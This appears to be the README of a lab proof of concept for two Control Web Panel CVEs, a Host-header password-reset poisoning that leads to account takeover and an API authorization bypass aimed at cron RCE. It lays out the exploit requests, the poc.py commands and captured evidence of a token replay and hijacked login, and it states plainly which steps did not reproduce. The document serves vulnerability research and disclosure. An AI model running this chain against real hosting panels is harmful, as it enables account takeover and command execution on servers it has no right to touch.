POC for CVE-2026-124020 + CVE-2026-124021 - Control Web Panel host-header reset-token poisoning leading to admin takeover, plus api validate() authz bypass to cron RCE and hash disclosure. Vulnerable 1.30.5 vs fixed 1.30.6 controls included.
Control Web Panel (CWP) before webpanel_version 1.30.6 ships two critical flaws in its password-recovery and remote-API code, both fixed in 1.30.6 and both credited to Valentin Lobstein (Chocapikk) via VulnCheck coordinated disclosure (2026-11-13). CVE-2026-124020 (CWE-640) injects the HTTP Host header into the /v1/lostpass/ route's reset-URL generation, so the recovery mail carries an attacker-hosted link; when an automated mail-security scanner clicks that link, the live recovery token leaks to the attacker and is replayed at the panel's reset page to set a new password and take the account over, with the File-Manager and Crontab modules as the command-execution payoff. CVE-2026-124021 (CWE-863) is an authorization bypass in the validate() function of api/v1/index.php (the external API on port 2304): a holder of a password-recovery token plus a predictable legacy signature obtains valid remote-API authorization without an API key, reaching POST /cronjobsusers/ (arbitrary cron commands, RCE as the hosting account) and the global account-list and account-detail routes, which expose usernames, contact emails and password hashes. CWP is a widely deployed hosting panel with a 2025 RCE track record (CVE-2025-48703, KEV-listed and mass-exploited), so recovery-flow and API-gate flaws in the same code family matter well beyond their scores.
< 1.30.6CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H; CNA CVSS-B 4.0: CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N (the AT:P encodes the scanner-click precondition of 124020)CVE-2026-124020 — takeover chain: VERIFIED against webpanel 1.30.5 in the lab (evidence/01-takeover-chain-vuln-1.30.5.txt):
POST /v1/lostpass/ (root-executing user API) with the attacker Host header issues a live recovery token for the targeted account and mails the reset link.acc=reconfir&idsession=<32-hex token>.GET /login/?acc=reconfir&idsession=<token> renders the set-new-password form.POST /login/index.php?acc=newpass with the token sets an attacker-chosen password.The poisoned-link step itself did NOT reproduce in this lab (evidence/05-host-injection-probe-matrix.txt): on every reachable path (the root-executing /v1/lostpass/ route and the panel's acc=lostpass flow) and every header variant (plain Host, Host without port, X-Forwarded-Host), the 1.30.5 build in this lab generated the reset URL from its configured panel URL, never from the injected header; two same-second resets with different Host values produced different tokens and an offline search over hash-formula candidates found no Host-derived token. The advisory's chain therefore stands on the vendor's disclosure for its poisoning step, while the token-issuance → replay → takeover half is verified end-to-end here. The CVSS AT:P (attack requirement present) is the scanner-click precondition and is stated plainly: without a scanner or user clicking the poisoned link, no token leaves the server.
CVE-2026-124021 — validate() bypass: NOT REPRODUCED (evidence/04-api-bypass-probes-both.txt): on the 1.30.5 lab box the 2304 gate accepts a real API Manager key ({"status":"Error","result":"There are no scheduled tasks"} for cronjobsusers), requires a key otherwise (403 API key required), and answers key does not exist for both random keys and the live recovery token across ~30 legacy-signature candidates (md5/sha1/sha256 over token, token+user, token+action, with token/signature/client_id parameter shapes). One observed asymmetry: with a user parameter present, a random key is refused earlier (403 API key required) than the recovery token (200 key does not exist), which shows the recovery token is handled by a different validation branch — but no signature formula was recovered, so no cron RCE or password-hash disclosure is demonstrated here. poc.py --mode cron is kept as the probe harness with honest verdicts.
docker compose up -d # vulnerable 1.30.5 + fixed 1.30.6, plus the attacker SMTP/exfil hook
# wait for the CWP installer inside each container (15-30 min, watch cwp-install.log),
# then seed an account and an API key in each panel (API Manager -> add key)
python3 poc.py --mode takeover --host 127.0.0.1 --panel-port 2083 --api-port 2304 \
--user webhost --email [email protected] --token <idsession from the relayed mail>
python3 poc.py --mode cron --host 127.0.0.1 --api-port 2304 --user webhost --token <recovery token>
Flags: --host target (default 127.0.0.1), --panel-port user-panel TLS port (2083), --api-port external API port (2304), --user/--email targeted account, --token live recovery token (idsession= value from the reset mail), --poison-host attacker Host header, --password password to set. --mode cron exit codes: 0 = bypass verified, 2 = not reproduced (control behavior).
Vulnerable 1.30.5 (evidence/01-takeover-chain-vuln-1.30.5.txt, abridged):
=== [2] the reset mail, captured on the lab SMTP relay ===
Subject: =?UTF-8?B?Q2hhbmdlIGFjY291bnQgcGFzc3dvcmQgd2ViaG9zdA==?=
... please click on the following link:
<a href="https://cwp-vuln.lab.test:2083/login/?acc=reconfir&idsession=8a1803935bfc1987675c21b3c1101a2a">
leaked recovery token: 8a1803935bfc1987675c21b3c1101a2a
=== [3] replay: the reset page accepts the token ===
GET https://127.0.0.1:12083/login/?acc=reconfir&idsession=<token> -> 200
replay form rendered: 1 (1 = yes)
=== [5] takeover proof: panel login with the attacker-chosen password ===
POST https://127.0.0.1:12083/login/index.php -> 200
user-panel session cookie issued: 1 (1 = yes)
logged-in page title: <title>CWP | User
The recovery token is a 32-hex idsession stored in oauthv2.oauth_authorization_codes with the account name as client_id — the same table the external API's gate consults, which is what ties the two CVEs together in one lab. evidence/02 shows the same probes against the fixed 1.30.6 box and evidence/04 the gate responses on both.